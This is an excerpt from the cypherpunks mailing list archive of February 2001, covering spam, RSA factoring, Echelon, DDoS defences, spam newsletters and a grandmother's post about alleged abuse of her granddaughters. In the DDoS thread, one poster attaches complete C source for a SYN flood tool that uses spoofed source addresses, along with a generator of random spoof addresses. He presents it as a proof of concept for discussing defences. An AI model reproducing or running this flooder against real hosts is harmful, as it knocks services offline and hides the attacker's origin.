scam to get people to accept what is to come.

Operation Just Because Part II?

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From alan at clueserver.org  Wed Feb  7 11:46:31 2001
From: alan at clueserver.org (Alan Olsen)
Date: Wed, 7 Feb 2001 11:46:31 -0800 (PST)
Subject: cope with spam..
In-Reply-To: <09L72I3136928.8604976852@frog.nyarlatheotep.org>
Message-ID: <Pine.LNX.4.10.10102071144390.5729-100000@clueserver.org>


On 6 Feb 2001, Frog2 wrote:

> How do the people here cope with all the spam.. really?
> Any tips for filtering out all garbage?

I go through my mail with Pine.  Anything that looks like Spam or a virus
gets nuked.

I get about 1500 messages a day, and it is no big deal to kill the 20-30 I
get in spam.

After that, I either use Pine or Eudora to deal with the rest of the pile.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From jchoate at dev.tivoli.com  Wed Feb  7 10:04:49 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Wed, 07 Feb 2001 12:04:49 -0600
Subject: Pat Schroeder's New Chapter - Kill public libraries (washingtonpost.com)
Message-ID: <3A818E41.4B86230@dev.tivoli.com>


http://washingtonpost.com/wp-dyn/articles/A36584-2001Feb7.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From dmolnar at hcs.harvard.edu  Wed Feb  7 10:27:45 2001
From: dmolnar at hcs.harvard.edu (dmolnar)
Date: Wed, 7 Feb 2001 13:27:45 -0500 (EST)
Subject: fast way to decode RSA encryption
In-Reply-To: <PHEOLKHKKADCALFJMBNIOEOECDAA.pzakas@toucancapital.com>
Message-ID: <Pine.OSF.4.05.10102071325520.20719-100000@hcs.harvard.edu>




On Tue, 6 Feb 2001, Phillip H. Zakas wrote:

> terms of clock cycles than trying to factor a number using
> multiplication/division (at least using the Pentium chip.)  Here is a link

Yes, but...trying to factor using trial division is not the best currently
known method of factoring. In order to be worth a look, this method should
have a running time better than the general number field sieve.

Rivest also makes this point in his response, and in more detail than I
have here. Unless I've misunderstood what you mean by "trying to factor a
number using multiplication/division" ? 

-David





From alan at clueserver.org  Wed Feb  7 13:31:29 2001
From: alan at clueserver.org (Alan Olsen)
Date: Wed, 7 Feb 2001 13:31:29 -0800 (PST)
Subject: ha ha
In-Reply-To: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at>
Message-ID: <Pine.LNX.4.10.10102071325571.5729-100000@clueserver.org>


On Tue, 6 Feb 2001, Anonymous wrote:

> How stupid is this ha ha sender really?
> Does he not understand that everyone by now know he sends a virus file out?

Probably alot less stupid than you.

Let me explain it to you again, using small words so you can understand.

It is from different people whos systems are infected by a virus.

The virus forges the From: e-mail address.

These people are using an e-mail client that is vulnerable executing
attached executables (like Outlook 2000 with preview mode) or have clicked
on the attachment and have infected themselves with the virus.

The infected people have a cypherpunks address(es) in their address book.

The virus sends to everyone on the address book.

Thetoad.com address is depreciated.

Understand now?

I didn't think so...

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From editor at webmastersweeps.com  Wed Feb  7 13:37:26 2001
From: editor at webmastersweeps.com (editor at webmastersweeps.com)
Date: Wed, 7 Feb 2001 13:37:26 -0800 (PST)
Subject: $$ Sweep It Up $$
Message-ID: <200102072137.NAA28950@cyberpass.net>

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From adam at cypherpunks.ai  Wed Feb  7 10:29:56 2001
From: adam at cypherpunks.ai (Adam Back)
Date: Wed, 7 Feb 2001 14:29:56 -0400
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <3A8174CD.8FD72AC4@trustix.com>; from Lars Gaarden on Wed, Feb 07, 2001 at 05:16:13PM +0100
References: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net> <3A8174CD.8FD72AC4@trustix.com>
Message-ID: <20010207142956.A22669@cypherpunks.ai>


So this is the kind of thing I was talking about -- it just moves
things to the next obvious escalation from which there is no
obvious way to go further down this dead end route of trace,
block, track down and prosecute, etc.

So what if you couldn't send a packet without revealing a
source address.  There are numerous ways to reveal someone
else's source address, which is a real source address, just
not yours.

I'm not even sure it's a step forward to paint yourself
into a corner where there is no way to fix the induced
escalation of attack sophistication.

Adam

On Wed, Feb 07, 2001 at 05:16:13PM +0100, Lars Gaarden wrote:
> 
> Andrew Alston wrote:
> 
> > Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
> > believe are playing on the public, making money out of a situation that
> > unfortunatly has no end in site, due to the fuckups made in the IP
> > protocol by the department of defense when they released the RFC.
> 
> Spoofed source-addresses can be (and often are) blocked at the
> access ISP. RFC 2267, Ingress filtering.
> 
> DDOS trojans on ISDN/xDSL/Cable home user boxes will have to use
> their real (or at least same subnet) source addresses on datagrams,
> or run the risk of having the traffic dropped silently at the first
> router.
> 
> This won't stop DDOS attacks, but it will make it a lot harder to
> mount an attack without exposing many of the DDOS trojans
> participating.




From kwalker2 at gte.net  Wed Feb  7 11:38:10 2001
From: kwalker2 at gte.net (snit)
Date: Wed, 07 Feb 2001 14:38:10 -0500
Subject: ha ha
In-Reply-To: <3A806864.4FFCEFFA@telus.net>
References: <2af1e9508155cebd8317d764623515fd@remailer.privacy.at>
Message-ID: <5.0.0.25.2.20010207143630.01b2f3a0@mail.gte.net>


At 01:11 PM 2/6/01 -0800, Graeme wrote:

>Why doesn't somebody here take the dumb fuck out?

i was thinking about taking him to the A&W to sip a frothy mug of root 
beer.  maybe a game of miniature golf afterwards.  whaddya think?  think 
he'll put out after i take him out?




From ravage at einstein.ssz.com  Wed Feb  7 13:44:27 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 7 Feb 2001 15:44:27 -0600 (CST)
Subject: cope with spam.. (fwd)
Message-ID: <Pine.LNX.3.96.1010207154344.356u-100000@einstein.ssz.com>



Move to a different node. See,

http://einstein.ssz.com/cdr

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: 6 Feb 2001 19:39:07 -0000
From: Frog2 <FrogRemailer at NoReply.Invalid>
Reply-To: cypherpunks at ssz.com
To: cypherpunks at toad.com
Subject: CDR: cope with spam..

Helloo..

How do the people here cope with all the spam.. really?
Any tips for filtering out all garbage?

//






From ravage at einstein.ssz.com  Wed Feb  7 13:56:33 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 7 Feb 2001 15:56:33 -0600 (CST)
Subject: trash
Message-ID: <Pine.LNX.3.96.1010207155538.356D-100000@einstein.ssz.com>



Hi,

I would but you're not on it through the SSZ node. For further help
in solving this please review,

http://einstein.ssz.com/cdr

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

On Wed, 7 Feb 2001, Erma Jones wrote:

> take me off your list -- immediately!!!!!!!!
> 




From EJAY at tir.com  Wed Feb  7 13:04:03 2001
From: EJAY at tir.com (Erma Jones)
Date: Wed, 7 Feb 2001 16:04:03 -0500
Subject: trash
Message-ID: <001b01c09149$80e97ec0$c99628d8@oemcomputer>


take me off your list -- immediately!!!!!!!!




From pzakas at toucancapital.com  Wed Feb  7 13:45:14 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Wed, 7 Feb 2001 16:45:14 -0500
Subject: anonymity
In-Reply-To: <Pine.LNX.4.21.0102060815030.11693-100000@bolt.sonic.net>
Message-ID: <PHEOLKHKKADCALFJMBNIEEPGCDAA.pzakas@toucancapital.com>




i see your point.  by 'targeted' in my comment, i meant looking for
transmissions from a particular person.  i suppose 'targeted' could also
mean looking at messages sent to a particular destination.

my specific comment is simply that I don't believe that either the
competency or the computing power necessary to watch every financial
transaction ($16T/day), fax, e-mail, phone call, ssl connection, etc. exists
in the areas we might think it exists.  whereas i do believe it's feasible
to track traffic to/from servers (and other destinations/data origins).

phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Ray Dillinger
Sent: Tuesday, February 06, 2001 11:17 AM
Cc: Cypherpunks
Subject: Re: anonymity



Regularly intercepting POTUS' international email is hardly
"untargeted".  I figure that's probably a fairly routine, if
small, part of Echelon.

			Bear

POTUS = "President Of The United States" for all who aren't
up on spook jargon.



On Mon, 5 Feb 2001 keyser-soze at hushmail.com wrote:

>doubtful.  they probably receive the email at the destination then alert
>the
>chain-of-jurisdiction for investigation. count me as a technical skeptic
>of
>an 'untargeted' echelon program.
>phillip
>
>
>-----Original Message-----
>From: owner-cypherpunks at Algebra.COM
>[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Mac Norton
>Sent: Monday, February 05, 2001 5:12 PM
>To: Blank Frank
>Cc: cypherpunks at toad.com
>Subject: Re: anonymity
>
>Intercepted by the CIA?  Do they regularly pre-screen POTUS's
>incoming international e-mail, or what?
>MacN
>
>>>This approach might make a good test for ZeroKnowledge resistance to
traffic
>analysis.  Since chain of evidence is useless for ZKS messages (if you
believe
>ZKS) only TA could finger the sender.  Any takers?
>
>ks





From ravage at einstein.ssz.com  Wed Feb  7 15:02:56 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Wed, 07 Feb 2001 17:02:56 -0600
Subject: The Register - Security Sights
Message-ID: <3A81D420.5E8F46F1@ssz.com>


http://www.theregister.co.uk/content/8/16725.html
-- 
    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From info at sportshollywood.com  Wed Feb  7 17:06:01 2001
From: info at sportshollywood.com (Sports Hollywood)
Date: Wed, 07 Feb 2001 17:06:01 PST
Subject: SportsHollywood
Message-ID: <200102080104.SAA64531@s0207.pm0.net>


SportsHollywood.com
   Newsletter
 For the week of Wednesday, February 7, 2000

"It is a popular illness." 
--International Olympic Committee (IOC) medical chief 
Alexandre de Merode on the high numbers of top-class 
competitors taking steroid-based drugs for asthma at 
Olympics (six times greater than at last year's Sydney Games).

STARTING LINE
Shaquille O'Neal will miss the NBA All-Star game because of 
a sore foot.  The L.A. center says, "Hopefully I can come 
back soon.  I'm a big 18-wheeler and one of my wheels ain't 
working, which means I can't go. But I'm getting air in the 
tire."... 

... How about fixing the drive train on the free throw 
mechanism?

HOLLYWOOD SPORTS
EXCLUSIVE: A report from our Sundance Film Festival Gala and 
Police Raid in Park City, Utah. A Happy Place Productions 
and your very own SportsHollywood teamed up to throw one of 
the most talked-about parties at the festival (and at the 
police department). You may have even read or heard about 
this one in the national press (can you say "Temporary 
Restraining Order?" That's how big it was). It was covered 
by everyone from Entertainment Weekly to CNN to Tiger 
Beat... and probably soon on Court TV... 

But here's what they didn't tell you....
http://www.sportshollywood.com/sundance.html

During the New York Knicks' victory over the Heat in Miami, 
referee Joe Forte ejected singer / songwriter Jimmy Buffett 
from the stands for using profanity...

... So he got drunk and got screwed - what's new?

... They gotta stop serving Margaritas before the games...

NBA
Clifford Robinson of the Phoenix Suns was arrested Monday on 
charges of driving under the influence and marijuana 
possession...

... No comment from Robinson... just giggling...

GOLF
John Daly had a 9 on his first hole Saturday in the Pebble 
Beach National Pro-Am. Three holes into the day, he was 
already 10 over. Only four birdies on his last six holes 
enabled him to finish with a 79. "It was just weird," he 
said, shaking his head. "Ten over after three holes..." 

... And .08 over later that afternoon...

XFL
Billing itself as tougher, dirtier and meaner than the NFL, 
The XFL is started its first season...

... It's so desperate for attention that it won't be long 
before the XFL employs murderers, rapists and drug 
addicts... wait -- the NFL already does that...

TENNIS
I think I've seen enough of Anna Kournikova... well, not 
really, but how about Jennifer Lopez's butt for a change?
http://www.comedyontap.com/dailyhump/annak1.htm

THIS WEEK IN SPORTS HISTORY
In 2000, Dennis Rodman joined the Dallas Mavericks, paying 
him about $465,000 for the remainder of the season...

... Plus extra if he would cheerlead as a Maverick Girl, too...

George Foster became baseball's first "two million dollar 
man" today in 1982 when he signed a five year, ten million 
dollar free agent deal with the New York Mets...

... Ten mil - or as A-Rod calls it -'beer money'...

PENALTY BOX
"MARK CHMURA, YOU'VE JUST BEEN ACQUITTED OF ASSAULTING A 
TEENAGER! WHERE ARE YOU HEADED NOW?" One day after being 
acquitted of sexually assaulting a teen-ager, former Green 
Bay Packer tight end Mark "Chewy" Chmura broke down in tears 
as he apologized for his conduct and wished to resume his 
NFL career. Chmura said he would celebrate his acquittal by 
going to Disney World before attempting to resume his pro 
career...

... Great - head right to a place with a lot of teenage 
girls...

For the entire Offensive Line:
http://www.sportshollywood.com/shnews.html

Joel Blankenship, head football coach at Detroit 
Murray-Wright High School, faces a police investigation into 
charges he used a twenty-six-inch long wooden paddle to 
strike players who got poor grades or broke other school 
rules.  One fifteen-year-old freshman claims he received ten 
blows with the paddle, and that Blankenship struck him so 
hard the paddle cracked...

... Now there's a man headed for the XFL... He can spank the 
cheerleaders...

YOU'RE OUT:
"He called me a 'rapist' and a 'recluse'. I'm not a recluse."
- Mike Tyson, on writer Wallace Matthews 

The Dumbest Sports Quotes of All Time:
http://www.sportshollywood.com/dumbquotes.html

EDITORS NOTE: I meant to thank you guys for passing the 
SportsHollywood newsletter along, the membership is going 
nuts. We're being mentioned on sports newscasts and getting 
tons of free press over this goofy party at Sundance. Lots 
of embarrassing stuff there. I'm so ashamed.... not -- 
Rodney Lee


<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>
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From bill.stewart at pobox.com  Wed Feb  7 17:14:56 2001
From: bill.stewart at pobox.com (Bill Stewart)
Date: Wed, 07 Feb 2001 17:14:56 -0800
Subject: Man Bites Phone
Message-ID: <3.0.5.32.20010207171456.01bd3eb0@idiom.com>


http://www.theregister.co.uk/content/28/16718.html

A man at the centre of a French corruption scandal ate the 
chip from his mobile phone in an attempt to keep its secrets, 
according to a report in today's edition of the Times. 
......



				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From larsg at trustix.com  Wed Feb  7 08:16:13 2001
From: larsg at trustix.com (Lars Gaarden)
Date: Wed, 07 Feb 2001 17:16:13 +0100
Subject: IW: Tools Stunt DoS Attacks
References: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net>
Message-ID: <3A8174CD.8FD72AC4@trustix.com>


Andrew Alston wrote:

> Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
> believe are playing on the public, making money out of a situation that
> unfortunatly has no end in site, due to the fuckups made in the IP
> protocol by the department of defense when they released the RFC.

Spoofed source-addresses can be (and often are) blocked at the
access ISP. RFC 2267, Ingress filtering.

DDOS trojans on ISDN/xDSL/Cable home user boxes will have to use
their real (or at least same subnet) source addresses on datagrams,
or run the risk of having the traffic dropped silently at the first
router.


There is also work being done on tagging and tracing datagrams.
http://www.cs.washington.edu/homes/savage/traceback.html


This won't stop DDOS attacks, but it will make it a lot harder to
mount an attack without exposing many of the DDOS trojans
participating.

-- 
"I'm rather jubilant now. What Judge Kaplan did was blow away every one
of these brittle and fragile rebuttals. He threw out fair use; he threw
out reverse engineering; he threw out linking."
- Jack Valenti, president of the Motion Picture Association of America.




From andrew at security.za.net  Wed Feb  7 07:19:53 2001
From: andrew at security.za.net (Andrew Alston)
Date: Wed, 7 Feb 2001 17:19:53 +0200 (SAST)
Subject: IW: Tools Stunt DoS Attacks
In-Reply-To: <200102060345.WAA00990@modemcable005.191-202-24.mtl.mc.videotron.ca>
Message-ID: <Pine.BSF.4.21.0102071710190.8438-300000@security.za.net>

Unfortunatly DDOS Attacks seem to be here to stay... There are a LOT of
ways to bypass detection, one of them would be something to this
effect... 

I wrote this to test something after reading the original post, this took
10 minutes, and it is a simple proof of case that there ARE ways around
"Abnormal activity".  What is attached is very very simple, its your basic
syn flooder with large packets (8k per packet), each packet coming from a
different ip address (spoofed), obtained from a spoof file, this spoof
file is then reused x number of times as specified by the cycle parameter.

Please note: I didnt write this to use myself, I wrote this to test
something and as a proof of case, and believing in total disclosure
security policies and freedom of information Ive decided to open the code
to see if anyone can find a way around this type of thing.

The thing with this code, is that it is virtually impossible to block,
along with the actual DOS code is a thing called resetgen.c, that
resetgen.c generates another 1000 spoofed ips, if each host were to cycle
their spoof files once, run that, cycle again, in a loop, and you ran this
from a number of hosts at a time, the only way to block the traffic would
be to firewall out the port in question completely, because the packet
type is of type syn, if you block syn, nothing can connect to the port in
question.

Basically, people who claim to be able to stop DDOS/trace DDOS/etc etc I
believe are playing on the public, making money out of a situation that
unfortunatly has no end in site, due to the fuckups made in the IP
protocol by the department of defense when they released the RFC.

Cheers

Andrew Alston


On Mon, 5 Feb 2001, Adam Back wrote:

> 
> This sounds like just a short term work-around, easily countered by
> the DoSers.
> 
> Rather than fix the problem, they propose to try to detect "unusual
> activity" and block the IPs.  I'm not sure what "trace" means either
> -- identify IPs and hunt down the perpetrators?
> 
> It's predictable low tech approach to all net problems -- identify
> undesirable behavior, trace it, complain to ISPs, block it, form
> coallitions against the behavior with central clearing houses of
> people to block.
> 
> Ultimately you can't distinguish between DDoS and popular content.
> They're just pushing the DDoS crowd to the next obvious and easy level
> -- bypass their fingerprinting of unusual behavior.  They can't
> counter-escalate much futher because they'll start getting into false
> positives and rejecting legitimate traffic.
> 
> Any robust long term solution to DDoS needs to defend against DDoS
> with Distributed Service.  If content can be mirrored and cached
> reactively to traffic, mature versions of systems like FreeNet could
> be built to cope with DDoS.  If requests are routed to local caches
> there is no longer a central server taking all the traffic, which is
> the basic problem these people are trying to kludge around.
> 
> They might want to look at Hash Cash and Client Puzzles for systems
> which can't be easily distributed (web apps with central database
> needing to be updated).
> 
> Adam
> 
> > Roughly a year after cyber-terrorists paralyzed some of the Web's
> > most trafficked sites, technology is finally emerging to stop such
> > distributed denial-of-service attacks before they ever reach their
> > target sites.
> > 
> > [...]
> > 
> > To combat such attacks on routers, a new company called Arbor
> > Networks--funded by Cisco and Intel--this week will launch a managed
> > availability service that aims to detect, trace and block DoS
> > attacks.
> > 
> > http://update.internetweek.com/cgi-bin4/flo?y=eCNx0Bd6gU0V30DDqD
> 
> 
-------------- next part --------------
#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

#define PAYLOAD 20000			/* Bytes for our payload */

struct slist {
	struct in_addr  spoof;
	struct slist   *link;
};					/* Spoof list */

int
main(int argc, char *argv[])
{

	int i, int2;
	int             sock;		/* Socket stuff */
	int             on = 1;		/* Socket stuff */
	struct sockaddr_in sockstruct;	/* Socket stuff */
	struct ip      *iphead;		/* IP Header pointer */
	struct tcphdr  *tcphead;	/* TCP Header pointer */
	char            evilpacket[sizeof(struct ip) + sizeof(struct
tcphdr) + 8000];
					/* Our reset packet */
	int             seq, ack;	/* Sequence and Acknowledgement #'s
*/
	FILE           *spooffile;	/* Spoof file */
	char           *buffer;		/* Spoof file read buffer */
	struct slist   *scur, *sfirst;	/* Spoof linked list pointers */
	char src[20], dst[20];		/* Work around for inet_ntoa static
*/
					/* Pointers when using printf() */
	int dport, delay;		/* CMD Line stuff */
	int cycles;
	int target;			/* Target address from inet_addr()
*/


	if(argc < 6) {
		fprintf(stderr, "Usage: %s spoof_file target dport delay cycles\n"
		"spoof_file = addresses to spoof from\n"
		"target = your victim\n"
		"dport = Port we are attacking\n"
		"delay = Delay in milliseconds between packets\n"
		"cycles = Number of cycles\n", argv[0]);
		exit(-1);
		}
	else {
		dport = atoi(argv[3]);
		delay = atoi(argv[4]);
		cycles = atoi(argv[5]);
		};
	
	printf("Used spoof file %s\n"
	       "Destination: [%s] port: [%d]\n"
	       "Delay time [%d]\n"
		"Cycles [%d]\n",
		argv[1], argv[2], dport, delay, cycles);

	sleep(1);

	bzero(evilpacket, sizeof(evilpacket));
					/* Clean our reset packet */

	sfirst = malloc(sizeof(struct slist));
	scur = sfirst;
	scur->link = NULL;		/* Setup our spoof linked list */

	if(!(buffer = malloc(25))) {
		perror("malloc");
		exit(-1);
		};			/* Allocate for read buffer */

	if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
		perror("fopen");
		exit(-1);		/* Open our spoof file */
	} else {
		while (fgets(buffer, 25, spooffile)) { 	/* Read till EOF */
			if (!(inet_aton(buffer, &(scur->spoof))))
				printf("Invalid address found in victim
file.. ignoring\n");
			else {
				scur->link = malloc(sizeof(struct slist));
				scur = scur->link;
				scur->link = NULL;	/* Cycle l.list */
				}
			};		/* End of while loop */
		};		/* End of if {} else {} */
	

	free(buffer);			/* Free up our read buffer */
	fclose(spooffile);		/* Close our spoof file */
	scur = sfirst;			/* Set spoof list current to first
*/

	if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket");
		exit(-1);
	}				/* Allocate our raw socket */

	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {
		perror("setsockopt");
		exit(-1);
	}				/* Set socket options for raw iphead
*/

	sockstruct.sin_family = AF_INET;
	iphead = (struct ip *) evilpacket;
	tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
					/* Align ip and tcp headers */

	iphead->ip_hl = 5;		/* Ip header length is 5 */
	iphead->ip_v = 4;		/* ipv4 */
	iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr) + 8000;
					/* Length of our total packet */
	iphead->ip_id = htons(getpid());	/* Packet ID == PID # */
	iphead->ip_ttl = 255;			/* Time to live == 255 */
	iphead->ip_p = IPPROTO_TCP;		/* TCP Packet */
	iphead->ip_sum = 0;			/* No checksum */
	iphead->ip_tos = 0;			/* 0 Type of Service */
	iphead->ip_off = 0;			/* Offset is 0 */
	tcphead->th_win = htons(512);		/* TCP Window is 512 */
	tcphead->th_flags = TH_SYN;		/* Syn packet */
	tcphead->th_off = 0;	/* TCP Offset 0x50 */

	iphead->ip_dst.s_addr = inet_addr(argv[2]);

	srand(getpid());			/* Seed for rand() */
	for(int2 = 0; int2 < cycles; int2++) {
		while (scur->link != NULL) {
			seq = rand() % time(NULL);	/* Randomize our #'s */
			ack = rand() % time(NULL);	/* Randomize ack #'s */
			sockstruct.sin_port = htons(rand() % time(NULL));
			iphead->ip_src = scur->spoof;	/* Set the spoofed address
	*/
			sockstruct.sin_addr = scur->spoof;
			usleep(delay);
			tcphead->th_seq = htonl(seq);
			tcphead->th_ack = htonl(ack);
			tcphead->th_dport = htons(dport);
			tcphead->th_sport = htons((rand()%64000)+1023);
			snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src));
			snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst));
			printf("[%d] bytes [%s:%d] -> [%s:%d]\n",
				sizeof(evilpacket), src, ntohs(tcphead->th_sport), \
				dst, ntohs(tcphead->th_dport)); 
			sendto(sock, &evilpacket, sizeof(evilpacket), 0x0, \
				(struct sockaddr *)&sockstruct, sizeof(sockstruct));
							/* Send our evil packet */
			scur = scur->link;
		};
		scur = sfirst;
	};
	return (1);

};


-------------- next part --------------
#include <time.h>

int main() {
	int i;
	char *buffer;
	int octet = 0;

	srand(getpid());
	for(i = 0; i < 1000; i++) {
		printf("%d.%d.%d.%d\n",(rand()%83)+172, (rand()%83)+172, (rand()%83)+172, (rand()%83)+172);
	};
};

From bpayne37 at home.com  Wed Feb  7 16:41:45 2001
From: bpayne37 at home.com (bill payne)
Date: Wed, 7 Feb 2001 17:41:45 -0700
Subject: You and your committee thinking?
Message-ID: <000a01c09167$ea757880$b5ecb618@cc1041323-b.sandia1.nm.home.com>


Ahmad

We're THINKING.

I hope you guys are too.

Nothing we can do can change the past.

But the future we may be able to do something about.  With some help from
internet.

Keep up-wind just in case we can't, of course.

bill

Morales is retiring from Sandia tomorrow.  His phone has already been
disconnected!
http://www.geocities.com/CapitolHill/Congress/8327/

The  REAL WORLD.


-----Original Message-----
From: Iran Daneshjoo Organization <iranstudents at hotmail.com>
To: bpayne37 at home.com <bpayne37 at home.com>
Date: Sunday, January 07, 2001 5:52 PM
Subject: Re: spy sting


>Dear Friend,
>
>we saw some of these documents but we would like your commentary about what
>happened and all circumstances so we can post it on our website but as well
>as a report to the mailing lists.
>
>With thanks
>
>On behalf of SMCCDI
>
>A. Zoubin ( Information Committee)
>www.iran-daneshjoo.org
>
>>From: bill payne <bpayne37 at home.com>
>>To: iranstudents at hotmail.com
>>Subject: spy sting
>>Date: Tue, 26 Dec 2000 19:20:39 -0700
>>
>>http://www.geocities.com/CapitolHill/Congress/8327/buehlerpayne.html
>>
>>Better things to do than this rotten spy stuff
>>
>>best
>>http://www.geocities.com/computersystemsdocumentation/
>>
>
>_________________________________________________________________
>Get your FREE download of MSN Explorer at http://explorer.msn.com
>




From atek3 at gmx.net  Wed Feb  7 18:31:38 2001
From: atek3 at gmx.net (atek3)
Date: Wed, 7 Feb 2001 18:31:38 -0800
Subject: 
References: <001c01c09172$b6198940$40a63d3f@oemcomputer>
Message-ID: <003501c09177$46522c20$6975e5a9@Reshall.berkeley.edu>

wtf is that?

  ----- Original Message ----- 
  From: BOSSLION 
  To: cypherpunks at toad.com 
  Sent: Wednesday, February 07, 2001 5:58 PM


  I HAVE 2 LITTLE GRAND DAUGHTERS THAT HAVE BEEN MOLESTED BY THEIR STEP GRANDFATHER. THEY HAVE  TALKED TO BY THE SHERIFFS DEPT. AND THEY WERE CONVINCED THAT THEY HAD BEEN SUBJECT TO ORAL SEX, BUT NOT ACTUALLY PENETRATED. THE DEPUTY SAID  THE CASE WORKER WAS WALKING ON THIN ICE, AND IT PROBABLY WOULD NOT HOLD UP IN COURT BECAUSE THEY ARE ONLY FOUR AND FIVE YEARS OLD. WHEN I CALLED TO SEE IF THIS MAN HAD BEEN ARRESTED, THEY TOLD ME IT WAS NONE OF MY BUSINESS. I AM WILLING TO GO TO JAIL BEFORE LETTING THESE GIRLS GO BACK TO THIS SITUATION. MY FAMILY HAS BEEN DEVASTATED BY THIS. I CANT BEAR FOR THEM TO HAVE TO EVER HAVE TO SEE THIS PERSON AGAIN, BUT MY SON, THEIR FATHER DOES NOT HAVE CUSTODY. AT THE MOMENT HE HAS THEM, BUT THEIR MOTHER WILL NOT COMPLY WITH DFS SO THEY CAN GET COUNSELING. THE DFS HAS SENT THE MEDICAID CARDS SO THEY CAN GET THE COUNSELING, BUT SHE HAS TO SIGN THE CONSENT, AND SHE WONT. THEY HAVE NOT BEEN TO THE DOCTORS FOR AN EXAM, BECAUSE SHE ALSO WONT SIGN FOR THAT. THE LAWS OF THIS LAND ARE COMPLICATED, AND IM SURE THAT SOMEWHERE THE REASON FOR THIS CONSENT FROM THE MOTHER, IS APPROPRIATE, BUT AT THIS TIME, I AM FRUSTRATED THAT THEIR MOTHER AND HER NEW HUSBANDS FAMILY ARE ABLE TO MANIPULATE THE LAW . WE NEED TO PROTECT CHILDREN FROM ANYONE THAT IS NOT LOOKING OUT FOR THEIR BEST INTEREST. THESE ARE BRIGHT BEAUTIFUL CHILDREN, AND DESERVE TO HAVE A FUTURE, UNMOLESTED.  CATHERINE M. HALL GRANDMOTHER   BOSSLION @MSN.COM
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From ajenks at microsoft.com  Wed Feb  7 18:34:19 2001
From: ajenks at microsoft.com (Andrew Jenks)
Date: Wed, 7 Feb 2001 18:34:19 -0800 
Subject: 
Message-ID: <909EB55D24CCFD4D9ABABD1B9BD610C601119667@red-msg-06.redmond.corp.microsoft.com>

Okay...  So, you're writing cypherpunks to get somebody to explain Caps Lock
and apostrophes to you, right?

-----Original Message-----
From: BOSSLION [mailto:BOSSLION at email.msn.com]
Sent: Wednesday, February 07, 2001 5:59 PM
To: cypherpunks at toad.com
Subject: 


I HAVE 2 LITTLE GRAND DAUGHTERS THAT HAVE BEEN MOLESTED BY THEIR STEP
GRANDFATHER. THEY HAVE  TALKED TO BY THE SHERIFFS DEPT. AND THEY WERE
CONVINCED THAT THEY HAD BEEN SUBJECT TO ORAL SEX, BUT NOT ACTUALLY
PENETRATED. THE DEPUTY SAID  THE CASE WORKER WAS WALKING ON THIN ICE, AND IT
PROBABLY WOULD NOT HOLD UP IN COURT BECAUSE THEY ARE ONLY FOUR AND FIVE
YEARS OLD. WHEN I CALLED TO SEE IF THIS MAN HAD BEEN ARRESTED, THEY TOLD ME
IT WAS NONE OF MY BUSINESS. I AM WILLING TO GO TO JAIL BEFORE LETTING THESE
GIRLS GO BACK TO THIS SITUATION. MY FAMILY HAS BEEN DEVASTATED BY THIS. I
